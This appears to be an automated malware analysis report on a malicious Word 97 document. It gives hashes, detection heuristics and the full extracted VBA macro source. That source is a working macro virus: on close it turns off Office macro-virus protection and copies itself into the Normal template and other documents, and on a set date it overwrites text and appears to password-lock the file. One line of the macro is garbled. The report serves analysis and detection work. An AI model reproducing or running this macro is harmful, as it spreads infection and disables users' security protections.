Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 048dea376e2aa656…

MALICIOUS

Office (OLE)

29.0 KB Created: 2001-01-03 09:56:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-13
MD5: e3e4a2a8b2d2b9125fd5c07593e32bd0 SHA-1: edb6236b6ea493a60f284d26938558f1ce20a243 SHA-256: 048dea376e2aa656ee94c45f5ac401ee17f7283360e2edd7a387472dfcdf0221
148 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Metsy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Metsy-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2408 bytes
SHA-256: 4d72923a1a071aaf2a4704300c1d5b828f2c65f4774f532dc570131d1207a681
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_New()

End Sub

Private Sub Document_Open()
If Day(Date) = 18 And Month(Date) = 9 Then
     MsgBox "Happy Birthday Jess! To celebrate, we're going to see how lucky you are " & Application.UserName & ". Click the OK button below to roll a number. If your number matches that of the dealer, you win!"
     X = Int((9 * Rnd) + 1)
     y = Int((9 * Rnd) + 1)
          If X = y Then
               MsgBox "You roll a " & X & " and the dealer rolls a " & y & ". You win!"
               Exit Sub
          Else
               MsgBox "You roll a " & X & " and the dealer rolls a " & y & ". I'm sorry, but you lost. Better luck next time!"
               For i = 1 To 14
                    RndNumber = Int((9 * Rnd) + 0)
                    X = X & RndNumber
               Next i
                    ActiveDocument.Words.First = "YOU LOSE! "
                    
                    
                    cument.Password =                     ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
                    ActiveDocument.Close
          End If
End If
Exit Sub
End Sub

Private Sub Document_Close()
On Error GoTo Out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If nt > 55 And ad > 0 Then GoTo Out
If nt < 55 Then
     Set host = NormalTemplate.VBProject.VBComponents.Item(1)
     ActiveDocument.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For X = 1 To 4
     .DeleteLines 1
     Next X
     End With
     Kill ("C:\System.dat")
End If
If ad = 0 Then
     Set host = ActiveDocument.VBProject.VBComponents.Item(1)
     NormalTemplate.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For X = 1 To 4
     .DeleteLines 1
     Next X
     End With
     Kill ("C:\System.dat")
End If
Out:
End Sub